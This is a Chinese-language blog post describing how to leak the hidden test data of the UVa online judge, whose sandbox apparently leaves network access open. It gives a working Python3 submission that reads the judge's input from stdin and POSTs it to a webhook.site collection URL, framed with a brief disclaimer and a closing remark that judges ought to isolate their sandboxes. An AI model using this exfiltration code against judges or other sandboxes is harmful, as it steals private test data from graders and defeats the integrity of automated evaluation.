之前在修進階程設的時候,老師喜歡使用 UVa 上面的題目當作作業或是上課練習用,但 UVa 常常抽風,剛上課傳的 Code 到下課都還在 Judge queue 裡面,實在蠻困擾的,今天心血來潮 Google 了一下,找到了這篇,發現 UVa 居然沒有把網路關掉,造成原文作者可以透過 email 把測資傳出來。其中原文提了兩個方法把測資傳出來,分別是 ssh 到主機來或是透過 SMTP 把測資以 Email 的方式寄出,但都需要把密碼放進程式裡面,有點缺陷,然後我發現這方法跟我之前打 picoCTF 時蠻像的,所以可以改用發封包的方式傳出。

1. 聲明

首先還是來個聲明,請不要濫用這個方法,本人不負任何責任。

2. 使用 urllib 內建函式庫

原本想用簡單方便的 requests 但 UVa 看起來沒有裝(廢話!),其實 requests 也是對 urllib 的封裝而已,所以可以使用 urllib 來達成想要做的事情。

3. Server

我們需要一個地方來接收我們傳出來資料,也可以自己架一個 server 處理,而我這邊使用免費的 https://webhook.site/ 來做。

應該會看到像這樣的介面:

其中有一個 Your unique URL,請把他記起來。

4. Code

把 url 這個變數換成剛剛的 Your unique URL,再把他送到 UVa 上就可以囉(語言請記得選 Python3)!

import sys
from urllib.request import urlopen
from urllib.parse import urlencode


url = 'https://webhook.site/3cc8e688-c848-4cf9-807d-44324e0e2908'


line = sys.stdin.read()

data = {
    'data': line
}

post_data = urlencode(data).encode('ascii')

r = urlopen(url, post_data)

5. 結果

測資有時候會有數十 mb 請慎用!另外,一般的 Judge 做 Sandbox 時應該要把網路環境完全封閉才是,測資被 leak 應該不是合理的行為。